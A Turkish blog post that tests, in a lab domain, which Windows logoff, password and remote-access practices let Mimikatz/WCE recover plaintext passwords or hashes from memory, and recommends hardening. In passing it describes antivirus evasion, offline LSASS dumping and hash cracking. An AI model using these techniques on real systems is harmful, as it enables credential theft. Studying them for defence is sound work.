Pass The Hash etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
Pass The Hash etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

3 Aralık 2014 Çarşamba

Bellekten Parolaların Elde Edilmesinin Engellenmesi İçin Tavsiyeler

Bellekten Parolaların Elde Edilmesinin Engellenmesi İçin Tavsiyeler


Bellekten parolanın açık olarak elde edilmesi ile ilgili önceki yazıda parolanın nasıl elde edildiği konusuna değinilmiş ve aşağıdaki gibi özetlenmişti:
Oturum açmak için yazdığımız kullanıcı adı ve parola gibi bilgiler, belleğe (RAM) yüklenen ve kimlik doğrulama işleminde görev alan bazı kütüphane dosyalarında şifreli olarak saklanmakta ve bu bilgiler kimlik doğrulama işlemleri sırasında kullanılmaktadır. Bunun yanında Mimikatz / WCE gibi bazı araçlar RAM üzerinde tutulan şifreli parolayı ve  şifreleme anahtarını elde ederek, şifreli parolayı deşifre etmekte, böylece parolanın açık olarak elde edilmesini sağlamaktadır.

Bu yazıda ise, kurumsal bir etki alanı (domain) ortamında, sızılan bir bilgisayardaki RAM üzerinden kullanıcı parolalarının açık olarak elde edilmesini zorlaştırmak ve önlemek için atılması tavsiye edilen adımlardan bahsedilecektir. Bu tavsiyeler 6 ana başlık altında toplanacak olup, yazının sonunda ise tavsiyeler özetlenecektir. Aşağıdaki başlıklardaki durumlar anlatılırken, SIRKET adlı bir etki alanına sahip bir kurumda PC1 adlı bir bilgisayarın ele geçirildiği varsayılıp, belli senaryolar üzerinden gidilecektir. Bu senaryolardaki bazı nesneler aşağıdaki gibidir.

  • SIRKET: Kurumdaki etki alanının (Domain) adı
  • SRV1: Etki alanı denetleyicisi (Domain Controller)
  • EaYoneticisi1: Etki alanındaki bir kullanıcı (Domain User)
  • PC1: Saldırgan tarafından ele geçirilen etki alanı bilgisayarı (Domain Computer)
  • Kurban ve YerelKullanici: PC1 bilgisayarındaki yerel kullanıcılar (Local User)


Başlıklar ve alt başlıklar altındaki her bir senaryo uygulanırken bilgisayar yeniden başlatılmıştır. Bu sebeple, her senaryo birbirinden bağımsız olarak düşünülmelidir.

Bunun yanında senaryolara ait ekran görüntülerinde bazı kontrol araçları kullanılmıştır. Bu araçlar ve araçların kullanılmasındaki amaçlar şu şekildedir:

  • Mimikatz: PC1 bilgisayarından hangi kullanıcılara ait parolaların açık olarak elde edilip edilemediği kontrol edilir.
  • Görev Yöneticisi - Kullanıcılar Sekmesi (Task Manager - Users) ve Qwinsta: PC1 bilgisayarındaki oturumları ve oturum durumlarını listelemek için kullanılmıştır.
  • Netstat: PC1 bilgisayarına SRV1 bilgisayarından olan bağlantıları listelemek için kullanılmıştır.
  • Tasklist: PC1 bilgisayarında EAYoneticisi1 adlı kullanıcı tarafından oluşturulan prosesleri listelemek için kullanılmıştır.
Bu ön bilgilerden sonra başlıklar, alt başlıklar ve senaryolar incelenebilir.

A) Oturum Sonlandırma İşlemleri

Bir makinede oturum açma işlemi temel olarak konsol üzerinden etkileşimli oturumla veya uzak masaüstü oturumuyla gerçekleştirilebilir. Bu oturumlardan çıkış yapılırken kullanıcı değiştirme (switch user), uzak bağlantıyı kesme (disconnect), oturumu kapatma (log off) veya bilgisayarı yeniden başlatma / kapatma (restart / shutdown) gibi yollar izlenebilir.

1) Kullanıcı Değiştirme (Switch User)

PC1 üzerinde Sirket\EaYoneticisi1 adlı kullanıcı oturumunu açıp işlemlerini tamamladıktan sonra kullanıcı değiştirme seçeneği kullanılarak oturumundan çıkış yapmıştır. Daha sonra PC1\Kurban adlı kullanıcı ile oturum açılmıştır. Bu durumda her iki kullanıcının parolasının elde edilebildiği görülmektedir.

Şekil - 1: Kullanıcı Değiştirme Yöntemi ile Oturum Sonlandırma

Yorum: Oturum sonlandırmak için oturumu değiştir seçeneği kullanılmamalıdır.

2) Oturum Bağlantısının Düşmesi (Disconect Your Session Immediately)

PC1\YerelKullanıcı adlı kullanıcı ile oturum açık durumda iken, Sirket\EaYoneticisi1 adlı kullanıcı uzak masaüstü erişimi gerçekleştirmiştir. Varsayılan olarak bir istemcide bir konsol açık olabildiği için, PC1\YerelKullanici adlı kullanıcının oturumu düşmüştür. Bu durumda her iki kullanıcının parolasının elde edilebildiği görülmektedir.


Şekil - 2: Oturum Düşürme Yöntemi ile Oturum Sonlandırma

Yorum: Oturum düştüğünde parolalar elde edilebilmektedir.

3) Uzak Masaüstü Bağlantısını Kesme (Disconnect)

Bir önceki senaryo ile aynı adımlar izlendikten sonra Sirket\EaYoneticisi1 adlı kullanıcı uzak masaüstü oturumunu sonlandırmak için bağlantıyı kes (Disconnect) seçeneğini kullanmaktadır.

Şekil - 3: Oturumu Sonlandırma İşlemi

Daha sonra PC1\YerelKullanici adlı kullanıcı ile tekrar oturum açılmaktadır (Bu işlem yerine Sirket\EaYoneticisi1 adlı kullanıcının oturumu aktifken, PC1\YerelKullanici adlı kullanıcı ile tekrar oturum açarak uzak masaüstü erişimi de kesilebilirdi.). Bu durumda her iki kullanıcının parolasının elde edilebildiği görülmektedir.


Şekil - 4: Oturumu Sonlandırma Yöntemi ile Oturum Sonlandırma

Yorum: Oturum sonlandırmak için bağlantıyı kes seçeneği kullanılmamalıdır.

4) Oturumu Kapatma (Log off)

Sirket\EaYoneticisi1 adlı kullanıcı oturum açtıktan sonra oturumunu kapatmaktadır (log off). Sonrasında PC1\Kurban adlı kullanıcı ile oturum açılmakta ve bu oturum da kapatılmaktadır (log off). Daha sonrasında ise PC1\YerelKullanici adlı üçüncü kullanıcı ile oturum açılmıştır. Bu durumda PC1\Kurban adlı kullanıcının parolası alınamamışken, Sirket\EaYoneticisi1 ve PC1\YerelKullanici adlı kullanıcıların parolalarının elde edilebildiği görülmektedir.

Şekil - 5: Oturumu Kapatma Yöntemi ile Oturum Sonlandırma - 1

Yorum: Oturum sonlandırmak için oturumu kapatma seçeneği kullanılmamalıdır.

Not: Aynı adımlar takip edilip bir kere daha deneme yapıldığında ise Sirket\EAYoneticisi1 adlı kullanıcının da parolası elde edilememiş, sadece PC1\YerelKullanici parolası elde edilebilmiştir.


Şekil - 6: Oturumu Kapatma Yöntemi ile Oturum Sonlandırma - 2

Yorum: Bazı durumlarda oturumu sonlandırmak için oturumu kapat (log off) seçeneği yeterli oluyorken, her zaman için bu durum doğru olmayabilmektedir. Bu sebeple bilgisayarı yeniden başlatmak (restart) veya kapattıktan sonra (shutdown) yeniden açmak parolanın bellek üzerinden elde edilmesini önlemek için en garanti çözüm olmaktadır.

B) Güvenli Parola Kullanma

Bu başlık altında parolaların güçlü olmasının RAM üzerinden parolaların elde edilmesi üzerindeki etkisi üzerinde durulacaktır.

1) Parola Uzunluğu ve Karmaşıklığı

Bu senaryoda PC1\YerelKullanici adlı kullancının parolası (Siber123.Guvenlik?) 18 karakter olarak oluşturulmuş, içerisinde büyük/küçük harf, sayı ve noktalama işaretleri kullanılmıştır. Oldukça karmaşık gibi görünen bu parola bellek üzerinden elde edilebilmiştir.


Şekil - 7: Uzun ve Karmaşık Parola Kullanımı - 1

Yorum: Karmaşık ve uzun parolaların kullanılması birçok saldırı için en kritik adımlardan birisidir. Ancak parolaların bellek üzerinden elde edilmesi için yeterli olmamaktadır.

2) Parolada Daha Özel Karakterlerin Kullanılması

Parola oluşturulurken karmaşıklığı arttırmak için karakter kümesi arttırılabilir. Bu amaçla daha karmaşık karakterler kullanılarak PC1\Kurban adlı kullanıcı için yeni bir parola (SiberæGuvenlik€123) belirlenmiştir. Oldukça karmaşık gibi görünen bu parola bellek üzerinden kısmen elde edilebilmiştir.


Şekil - 8: Uzun ve Karmaşık Parola Kullanımı - 2

Ekran görüntüsünde de görüldüğü gibi, € (euro) karakteri yerine ? (soru işareti)  karakteri gelmektedir. Parolanın tamamı elde edilemediği düşünüldüğünde, saldırganın işinin kısmen zorlaştırılmış olduğu düşünülebilir. Ancak saldırgan, kısmen elde ettiği parolanın kalan karakterlerini tahmin yöntemi kullanılarak (é, è, ê, ë, £, ∑, ... gibi) da tespit edilebilir. Bunun yanında aracın çalıştırıldığı komut satırı yazı formatı değiştirilerek de parola çok kolay bir şekilde edilebilir. Bu işlem için komut satırı özelliklerinden Yazı sekmesine gelerek Lucida Console gibi bir formatın seçilmesi yeterli olacaktır.

Şekil - 9: Komut Satırı Font Değişikliği

Böylece parola özel kullanılan formatlar da dahil olmak üzere tamamen elde edilebilmektedir.


Şekil - 10: Font Değişikliği Sonrası Uzun ve Karmaşık Parola Kullanımı

Not: ALT tuşu ile kombinasyon oluşturan sayı listesi bağlantıdaki gibidir. Bunun yanında, ALT tuşu ile kombinasyon oluşturan sayıların kullanımı bağlantıdaki gibidir.

Yorum: Parola karmaşıklığı, parolanın bellek üzerinden elde edilmesi için yeterli olmamaktadır. Ancak parola güvenliği için aşağıdaki sıkılaştırma işlemlerinin gerçekleştirilmesi tavsiye edilmektedir:

  • Parolalar en az 10 karakter uzunlukta ve karmaşık olarak belirlenmelidir.
  • Parolalar en fazla 2 ayda bir değiştirilmelidir.
  • Oluşturulan parolalar birbirinden farklı, birbiriyle ilişkisiz ve başka yerlerde (forum, kişisel mail gibi) kullanılmayan parolalardan oluşmalıdır.
  • Parola politikalarında LM özetin kullanılması önlenmelidir. “Network security: Do not store LAN Manager hash value on next password change” ilkesi etkin olmalıdır. Bu işlem için Kayıt Defterin'de "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash" değeri 1 de yapılabilir.
  • Parola güvenliği ve güvenilir parola oluşturma ile ilgili Bilgimi Koruyorum sayfası incelenebilir.

Not: Parola oluşturulurken kullanılan sistemlerin oluşturulan parolaları destekleyip desteklemediği test edilmelidir.

C) Kullanılmayan Kütüphanelerin (DLL) Kaldırılması

Bir önceki yazıda da belirtildiği gibi, Windows işletim sistemindeki kimlik doğrulama paketleri LSA (Local Security Authority) tarafından belleğe yüklenir. LSA, hangi DLL dosyalarını yükleyeceğini kayıt defterindeki “HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages” kaydından alır. Bu kayıtta bulunmayan paketler belleğe yüklenmeyecektir. Varsayılan durumda bir PC1 gibi Windows 7 işletim sistemi yüklü bir bilgisayarda Security Packages değerinin altında 6 DLL mevcuttur: kerberos, msv1_0, schannel, wdigest, tspkg, pku2u. Her bir DDL kimlik doğrulamasında bir takım işlemler gerçekleştirmek için görevlidir. Örneğin, tsPkg bilgsayarlar arasında parola sorgusu gerçekleştirmeden erişim için gereklidir. Bu güvenlik paketinin kaldırılması MS12-020 gibi DOS zafiyetine sahip olan bilgisayarlar için tavsiye edilmektedir. Ancak, Hyper V gibi bazı sistemlerde oturum işlemleri için bu DLL yüklenmek belleğe yüklenmek zorundadır. Bir diğer kimlik doğrulama paketi olan wdigest ise, OWA (Outlook Web Access) gibi uygulamalar için LM/NTLM ile ağ üzerinden kimlik doğrulaması için kullanılır. Etki alanındaki en önemli güvenlik paketlerinden birisi olan kerberos ise, belirlenen bir süre sonunda (10 saat gibi) hesap önbiletinin (TGT) yenilenmesi için gereklidir. Bilgisayarlarda bu şekilde parola ve parola özetlerinin şifreli tutulmasının nedeni, ağ üzerinden yapılan standart kimlik doğrulama protokollerini (Kerberos, NTLM/LM sorgulama-cevaplama gibi) desteklemeyen servislerin her defasında şifre sormasını engellemek, yani bu servislere SSO desteği kazandırmaktır. Böylece bu servisler parolanın veya özetinin açık hali gerektiği zaman RAM üzerinden şifre çözme işlemi gerçekleştirilir ve servise açık halde verilir. Servis de bu bilgiyi kullanarak kendi işlevini yerine getirir.

Bu başlıkta, PC1 bilgisayarından Mimikatz aracının parolaları açık olarak ele geçiremediği 3 güvenlik paketi (msv1_0, schannel, pku2u) bırakılmış, diğerleri (kerberos, wdigest, tspkg) ise silinmiştir.
Şekil - 11: Güvenlik Paketleri

Daha sonra bilgisayar yeniden başlatılmıştır. Bu başlık altındaki senaryolar 3 güvenlik paketi (kerberos, wdigest, tspkg) silinmiş olduğu durumda gerçekleştirilmiştir.

1) Uzak Masaüstü Bağlantısı Denemesi

PC1 bilgisayarına port taraması gerçekleştirilmiştir. Bu durumda uzaktan masaüstü erişim portunun (3389) açık olduğu görülmektedir.

Şekil - 12: Güvenlik Paketlerinin Silinmesi Sonrası Uzak Masaüstü Servis Kontrolü

Ancak, PC1 bilgisayarına uzak masaüstü bağlantısının gerçekleştirilemediği görülmüştür.


Şekil - 13: Güvenlik Paketlerinin Silinmesi Sonrası Uzak Masaüstü Denemesi

Yorum: Bazı kimlik doğrulama paketlerinin silinmesi istenmeyen durumların ortaya çıkmasına sebep olabilir.

2) 14 Karakterden Daha Kısa Uzunluktaki Parolanın Kullanılması

Uzak masaüstü erişim gerçekleştirilememesine rağmen,  konsol üzerinden ise erişimin gerçekleştirilebildiği görülmektedir. Bu senaryoda kullanıcı parolaları 14 karakterden kısa olacak şekilde seçilmiştir.

Sirket\EaYoneticisi1 aldı kullanıcı oturum açıp işlemlerini tamamladıktan sonra kullanıcı değiştirme seçeneği kullanılarak oturumdan çıkış yapmıştır. Daha sonra PC1\YerelKullanici adlı kullanıcı ile oturum açılmıştır. Bu durumda her iki kullanıcının parolasının da açık olarak elde edilemediği, parolanın sadece LM ve NTLM özetlerinin elde edilebildiği görülmektedir.

Şekil - 14: Güvenlik Paketlerinin Silinmesi Sonrası Kısa Parola ile Oturum Açma İşlemi

Ancak, çeşitli araçlarla veya internetten çevrim içi olarak bu hizmeti sunan siteler (Ophcrack , MD5Decrypter  gibi) kullanılarak, parolaların LM/NTLM özetlerinden parolaların açık hali elde edilebilir. Şöyle ki;

PC1\YerelKullanici adlı kullanıcı için LM/NTLM parola özetinden parolanın açık halinin elde edilmesi sonucu aşağıdaki gibidir:

Şekil - 15: 14 Karakterden Kısa Parolalara Ait LM ve NTLM Özetlerinin Bellekten Elde Edilmesi - 1

Sirket\EaYoneticisi1 adlı kullanıcı için LM/NTLM parola özetinden parolanın açık halinin elde edilmesi sonucu aşağıdaki gibidir:

Şekil - 16: 14 Karakterden Kısa Parolalara Ait LM ve NTLM Özetlerinin Bellekten Elde Edilmesi - 2

Yorum: Bilgisayar parola ilkelerinden LM özeti tutulması engellenmiş olsa (“Network security: Do not store LAN Manager hash value on next password change” ilkesi etkin olduğu durumda) dahi, 14 karakterden kısa parolalar için RAM üzerinde parolanın LM özeti saklanmaktadır.

3) 14 Karakterden Daha Uzun Parolanın Kullanılması

Bir önceki senaryo kullanıcı parolaları 14 karakterden uzun olacak şekilde tekrarlanmıştır. Bu senaryoda PC1\YerelKullanici adlı kullanıcının parolası Siber123.Siber123. olarak, Sirket\EaYoneticisi1 adlı kullanıcının parolası ise Aa123456.Aa123456. olarak belirlenmiştir. Bu durumda her iki kullanıcının parolasının da açık olarak elde edilememesinin yanında parolanın LM özetinin de elde edilemediği, sadece NTLM özetlerinin elde edilebildiği görülmektedir.

Şekil - 17: Güvenlik Paketlerinin Silinmesi Sonrası Uzun Parola ile Oturum Açma İşlemi

Bir önceki senaryo ile aynı yöntemler kullanılarak, parolaların NTLM özetlerinden parolaların açık hali elde edilmeye çalışılmış olsa da LM özeti olmadan parolanın açık hali elde edilememiştir. Şöyle ki;

PC1\YerelKullanici adlı kullanıcı için NTLM parola özetinden parolanın açık halinin elde edilememesi durumu aşağıdaki gibidir:

Şekil - 18: 14 Karakterden Uzun Parolalara Ait NTLM Özetlerinin Bellekten Elde Edilmesi - 1

Sirket\EaYoneticisi1 adlı kullanıcı için NTLM parola özetinden parolanın açık halinin elde edilememesi durumu aşağıdaki gibidir:
Şekil - 19: 14 Karakterden Uzun Parolalara Ait NTLM Özetlerinin Bellekten Elde Edilmesi - 2

Yorum: Bellek üzerinden parolalara ait LM özetin tutulmaması için güvenlik ilkelerinin ayarlanmasının yanında parola uzunluğunun 14 karakterden uzun olması da önem arz etmektedir. Bu sebeple parola oluşturulurken 14 karakterden uzun olması tavsiye edilmektedir.

D) İstemci Taraflı Koruma Sistemleri

Mimikatz, WCE gibi araçların dosya sistemine yüklenmesi antivirüs gibi sistemler tarafından tespit edilmesine sebep olmaktadır. VirusTotal , yüklenen dosyanın (veya URL’i verilen sayfanın vs) özetini alarak kendisinde, sisteminde kayıtlı olan antivirüsler tarafından bu dosyanın zararlı olarak algılanıp algılanmadığı bilgisini sunan bir hizmettir. 21 Aralık 2012 tarihi itibariyle VirusTotal üzerinde 64 bit mimari için hazırlanmış Mimikatz aracını tespit edebilen 12 antivirüs ürünü bulunmaktadır.

Şekil - 20: Mimikatz Aracının Antivirüsler Tarafından Tespit Edilme Oranı


VirusTotal ile ilgili ayrıntılı bilgi için bakınız.

Bu sebeple bilgisayarlar üzerinde antivirüs kullanılması saldırganların işini zorlaştıracaktır. Ancak çeşitli yöntemlerle antivürüsler atlatılarak (AV Bypass) bellek üzerinden parolalar elde edilebilir. Bu yöntemlerden bazıları aşağıdaki gibidir:

  • Antivirüs duraklatılabilir, durdurulabilir, antivirüs servisinin kapatılabilir. Böylece antivirüs çalışmaz hale getirilebilir.
  • Antivirüsler imza tabanlı çalışmaktadırlar. Paketleyiciler kullanılarak veya başka yöntemlerle zararlı yazılımın değiştirilmesi, antivirüslerin zararlıyı tespit edememesine sebep olabilir.
  • Birçok antivirüs sabit disk üzerinde kontrollerini gerçekleştirir, RAM üzerinde çalışan ve sabit disk ile etkileşimi olmayan zararlıları yakalayamaz. Örneğin, Mimikatz aracının RAM üzerinde çalışan versiyonları antivirüsler tarafından yakalanamayabilmektedir.
  • Bellekteki parolalar temel olarak LSASS prosesinden elde edilebilmektedir. Bu prosesin dump halini alan saldırgan, kendi bilgisayarında çeşitli araçlar kullanarak parolanın açık halini elde edebilir. Bu gibi bir durumda antivirüs herhangi bir zararlı aktivite tespit edemeyebilir.

Yorum: Antivirüs kullanılması saldırı yüzeyini daraltmakla birlikte kesin çözüm değildir.

E) Uzaktan  Erişim Yöntemleri

Ağ üzerinden bilgisayarlar arasında erişim için uzak masaüstü haricinde yöntelmer de bulunmaktadır. Bu başlık altında ağ üzerinden erişim sağlandığında parola bilgilerinin RAM üzerinde açık olarak saklanıp saklanmadığı senaryolar üzerinden gösterilecektir. Bu başlık altındaki senaryolarda, SRV1 adlı bilgisayarda Sirket\EaYoneticisi1 adlı kullanıcı, PC1 adlı bilgisayarda PC1\YerelKullanıcı adlı kullanıcı oturum açmış bulunmaktadır.

1) Kullanıcı Bilgileri Kullanılarak PsExec ile Erişim

Sirket\EaYoneticisi1 adlı kullanıcı, PC1 adlı bilgisayara SysInternals PsExec aracı ile bağlantı kurmaktadır. PsExec aracı, uzak bilgisayarın yönetimsel paylaşımına (ADMIN$) erişim için kullanılan bir araç olarak tanımlanabilir. Bu araç ile bağlantı sırasında kullanıcı adı ve parola bilgisi kullanılabilmektedir.

Şekil - 21: PsExec Aracı ile Kimlik Bilgilerini Kullanarak Ağ Üzerinden Erişim

Böylece PC1 adlı bilgisayarın dosya sistemine, kimlik bilgisi verilen kullanıcı ile giriş yapılmıştır. Aynı bilgisayar üzerinde PC1\YerelKullanici adlı kullanıcı ile oturum açık bulunmaktadır. Bu durumda her iki kullanıcının parolasının elde edilebildiği görülmektedir. Ayrıca Sirket\EaYoneticisi1 adlı kullanıcının da PC1 adlı bilgisayar üzerinde prosesler başlattığı (cmd.exe ve conhost.exe) görülmektedir.

Şekil - 22: PsExec Aracı ile Kimlik Bilgilerini Kullanarak Ağ Üzerinden Erişimin Hedef Bilgisayarda İncelenmesi

Yorum: PsExec aracına kullanıcı bilgileri yazılarak ağ üzerinden erişim sağlanmamalıdır.


2) Kullanıcı Bilgileri Kullanılmadan PsExec ile Erişim
Bir önceki senaryo PsExec aracına kimlik bilgisi verilmeden de gerçekleştirilebilir. Bu durumda komut satırını çalıştıran kullanıcının hakları ile bağlantı sağlanır. Diğer bir deyişle, SRV1 adlı bilgisayarda PsExec aracını kullanan kullanıcı (Sirket\EaYoneticisi1 adlı kullanıcı) hakları ile bağlantı oluşturulmaktadır.


Şekil - 23: PsExec Aracı ile Kimlik Bilgilerini Kullanmadan Ağ Üzerinden Erişim

Böylece, PC1 adlı bilgisayarın dosya sistemine, PsExec aracını kullanan kullanıcı hakları ile giriş yapılmıştır. Aynı bilgisayar üzerinde PC1\YerelKullanici adlı kullanıcı ile oturum açık bulunmaktadır. Bu durumda sadece PC1\YerelKullanici adlı kullanıcının parolasının elde edilebildiği, Sirket\EaYoneticisi1 adlı kullanıcının parolasının elde edilemediği görülmektedir. Bunun yanında, Sirket\EaYoneticisi1 adlı kullanıcının da PC1 adlı bilgisayar üzerinde, bir önceki senaryoda olduğu gibi, prosesler başlattığı (cmd.exe ve conhost.exe) görülmektedir.


Şekil - 24: PsExec Aracı ile Kimlik Bilgilerini Kullanmadan Ağ Üzerinden Erişimin Hedef Bilgisayarda İncelenmesi

Yorum: PsExec aracına kullanıcı bilgileri verilmeden ağ üzerinden erişim sağlanılması durumunda, mimikatz aracı ile RAM üzerinden uzaktan erişimi gerçekleştiren kullanıcının parolası açık olarak elde edilemez. Ancak yeni bir prosesin oluşturulması, bağlantı boyunca bu proseslerin yaşamlarına devam etmesi, bu süre boyunca saldırganın oluşturduğu bir prosesin bu proseslere sıçrayabiliyor (migration) olması veya saldırgana ait prosesin bu proseslermiş (impersonation) gibi bu prosesler üzerindeki bazı bilgileri (jeton - token) alabiliyor olması, prosesi çalıştıran kullanıcının haklarının ele geçirilmiş olması anlamına da gelebilmektedir. Bu hakların sadece mevcut bilgisayar üzerinde etkin olması, ağdaki diğer servislere erişim kullanılamaması için, özellikle kritik hesapların “Account is sensitive and cannot be delegated” adlı özelliğinin seçilmiş olması tavsiye edilmektedir.

3) Kayıt Defteri ile Uzaktan Erişim

PC1 adlı bilgisayardaki “Remote Registry” adlı servis etkin ve başlatılmış durumdadır. SRV1 adlı bilgisayar üzerinden PC1 adlı bilgisayarın Kayıt Defteri’ne (Registry Editor) erişim sağlanmaktadır.


Şekil - 25: Kayıt Defteri ile Ağ Üzerinden Erişim

Bu durumda PC1 adlı bilgisayarda sadece PC1\YerelKullanici adlı kullanıcının parolası elde edilebilmektedir. Bunun yanında PC1 adlı bilgisayarda herhangi bir prosesin başlatılmadığı görülmektedir.


Şekil - 26: Kayıt Defteri ile Ağ Üzerinden Erişimin Hedef Bilgisayarda İncelenmesi

Yorum: Uzaktan kayıt değerlerine erişim sağlanırken parolalar açık olarak elde edilemez. Ancak bu işlemin gerçekleşmesi için “Remote Registry” servisinin çalıştırılması güvenlik zafiyetine sebep olmaktadır.

4) Yönetimsel Paylaşımlarla Dosya Sistemine Uzaktan Erişim

Sirket\EaYoneticisi1 adlı kullanıcı, PC1 adlı bilgisayarın dosya sistemine (yönetimsel paylaşımına) erişmektedir.

Şekil - 27: Dosya Paylaşımı ile Ağ Üzerinden Erişim

Bu durumda PC1 adlı bilgisayarda sadece PC1\YerelKullanici adlı kullanıcının parolası elde edilebilmektedir. Bunun yanında PC1 adlı bilgisayarda herhangi bir prosesin başlatılmadığı görülmektedir.

Şekil - 28: Dosya Paylaşımı ile Ağ Üzerinden Erişimin Hedef Bilgisayarda İncelenmesi

Benzer sonuçlar, yönetimsel paylaşımlara erişim için kullanılan “net use” komutu ile de alınmaktadır. Şöyle ki, “net use” komutunu kimlik bilgisi kullanarak (net use \\PC1\ADMIN$ /user:Sirket\EaYoneticisi1 Aa123456.) veya kimlik bilgisi olmadan (net use \\PC1\ADMIN$) dosya sistemine erişim durumunda, erişimi gerçekleştiren kullanıcının parolası, erişimin gerçekleştirildiği bilgisayar üzerinden elde edilememektedir. Dosya paylaşımına erişim sağlayarak betikler çalıştırılabildiğinden "Remote Registry" servisinin açık bırakılmasına gerek kalmamaktadır.

Yorum: Dosya sistemine erişim için paylaşımların kullanılması tavsiye edilmektedir. Paylaşımların belirli IP'lerden (etki alanı denetleyicisi veya jump server gibi ara bilgisayarlardan) gelen taleplere açık olması tavsiye edilmektedir. Bunun yanında, dizinlerin dosya sistemi üzerindeki (NTFS) ve ağ üzerindeki (Sharing) erişimlere ait güvenlik konularına da önem verilmelidir. Ancak bu konular kapsam dışında olduğu için değinilmeyecektir.

5) Diğer Uzaktan Erişim Araçları

Ağ üzerinden bilgisayarlara erişimler için diğer bir çok yöntem bulunmaktadır. WMIC (wmic /node:PC1 process list brief), powershell, yönetim konsolu (MMC) gibi yöntemler ile erişim gerçekleştirildiğinde hedef bilgisayar (PC1 adlı bilgisayar) üzerinde parolalar açık olarak elde edilemez. Ancak bu yöntemlerin kullanılması için hedef bilgisayarda bazı servislerin çalışması gerekmektedir. Bu servislerin açık bırakılması ise saldırı yüzeyini arttırmaktadır.



F) Güncelleştirmelerin Gerçekleştirilmesi

Microsoft tarafından yayınlanan KB2871997 paketi ile RAM üzerinden parolaların elde edilmesi zorlaştırılmıştır. Ancak henüz tamamen engellenememiştir. Konu ile ilgili ayrıntılı bilgi için bakınız.


G) Sonuç: Tüm Tavsiyeler

Bu başlık altında diğer başlıklar altında bahsedilen tavsiyeler tekrar edilecek ve ek tavsiyelerde bulunulacaktır. Bu tavsiyeler aşağıdaki gibidir:

  • Kritik kullanıcı hesapları ile (özellikle saldırıya açık konumda bulunan DMZ içerisindeki ve istemciye açık olan) bilgisayarlarda, oturum açılamamalıdır. Bu bilgisayarlardakiişlemler için yerel kullanıcılar veya belirlenen işlemler gerçekleştirmek için oluşturulan etki alanı hesapları (Teknik Destek hesabı gibi) kullanılmalıdır.
  • Saldırıya açık konumdaki bilgisayardaki oturumların süresi sınırlandırılmalıdır. Belli aralıklarla bilgisayar yeniden başlamalıdır. Ancak ele geçirilen bir bilgisayardan diğer bilgisayarlara erişim mümkün olabildiği için, tüm bilgisayarlarda bu işlemin gerçekleştirilmesi tavsiye edilmektedir.
  • Açık olan bir oturumu sonlandırmak için bilgisayar yeniden başlatılmalıdır.
  • 14 karakterden daha uzun parolalar kullanılmalıdır. Parolalar küçük harf, büyük harf, rakam, noktalama işaretleri gibi özel karakter içermelidir.
  • Gereksiz güvenlik paketleri kaldırılmalıdır. Ancak bu işlemin çeşitli problemlere yol açabileceği unutulmamalıdır.
  • Antivürüs gibi istemci üzerinde koruma sağlayan mekanizmalar güncel ve etkin olmalıdır.
  • Uzaktan erişimler için dosya paylaşımları tercih edilmelidir. Bu paylaşımlara erişimlere belirli bilgisayarlardan (IP) ve hesaplardan izin verilmelidir.
  • Kimlik doğrulaması için akıllı kartın kullanılması tavsiye edilmektedir. Güvenilir olarak tasarlanmış akıllı kartlarda parola yerine PIN kullanılmakta ve kullanıcı hesabına ait özel bilgi (private key), akıllı kart içerisinden alınamamaktadır.
  • Kullanıcı hesaplarına, servis veya zamanlanmış görev (scheduled jobs) başlatan hesaplara, gereğinden fazla yetki (Domain Admin yetkileri gibi) verilmemelidir.
  • Tespit amaçlı olarak da, belli olaylar gerçekleştiğinde kayıtların / alarmların oluşturulması ve oluşturulan alarmların izlenmesi tavsiye edilmektedir.
  • Microsoft'un KB2871997 güncelleme paketi indirilmelidir.


Bu yazıda bellek üzerinden kimlik bilgilerinin elde edilmesini zorlaştırmak ve elde edilmesini engellemek  için gerçekleştirilebilecek yöntemlerden bahsedilmiştir. Bu yöntemlerin, özellikle kritik sistemlere sahip kurumlarda, incelenmesi tavsiye edilmektedir. Bunun yanında, en önemli korunma yönteminin saldırganların sistemlere erişmesini engellemek ve RAM üzerinden bilgi alabilecek kadar sistemlere sızabilmesine imkan sağlamamak olduğu unutulmamalıdır.


Kaynak:
[1] http://www.bilgiguvenligi.gov.tr/windows-isletim-sisteminde-oturum-acma-islemi-winlogon.html
[2] http://msdn.microsoft.com/tr-tr/magazine/cc163489(en-us).aspx
[3] http://technet.microsoft.com/en-us/library/ff404303(v=ws.10).aspx
[4] http://blog.bga.com.tr/2013/01/mimikatz-ile-windows-sistemlerde.html
[5] http://ertugrulbasaranoglu.blogspot.com/2012/10/ipucu-wceden-kacnma-yontemi.html
[6] http://blog.opensecurityresearch.com/2012/06/using-mimikatz-to-dump-passwords.html
[7] http://technet.microsoft.com/en-us/library/cc778868(WS.10).aspx
[8] http://www.ampliasecurity.com/research/wce12_uba_ampliasecurity_eng.pdf
[9] http://www.ampliasecurity.com/research/WCE_Internals_RootedCon2011_ampliasecurity.pdf
[10] http://technet.microsoft.com/en-us/library/dn169026(v=ws.10).aspx
[11] http://technet.microsoft.com/en-us/library/dn169016(v=ws.10).aspx
[12] http://codeidol.com/community/windows/logon/25019/
[13] http://fr.slideshare.net/gentilkiwi/mimikatz-asfws
[14] http://www.sans.org/reading-room/pass-the-hash-attacks-tools-mitigation-33283
[15] http://danielaelmi.altervista.org/password-cracking-hashes-dumping-brute-forcing-auditing-and-privileges-escalation/
[16] http://www.blackhat.com/presentations/bh-dc-09/Muckin/BlackHat-DC-09-Muckin-vista-security-internals.pdf
[17] http://umut-simsek.blogspot.com/2013/04/hashini-seven-kovboy-heykrlara-karsi.html
[18] https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-1.html
[19] https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-2.html
[20] https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-3.html

26 Kasım 2014 Çarşamba

Post Exploitation: Mimikatz ve WCE ile Bellekten Parolaların Elde Edilmesi

Post Exploitation: Mimikatz ve WCE ile Bellekten Parolaların Elde Edilmesi

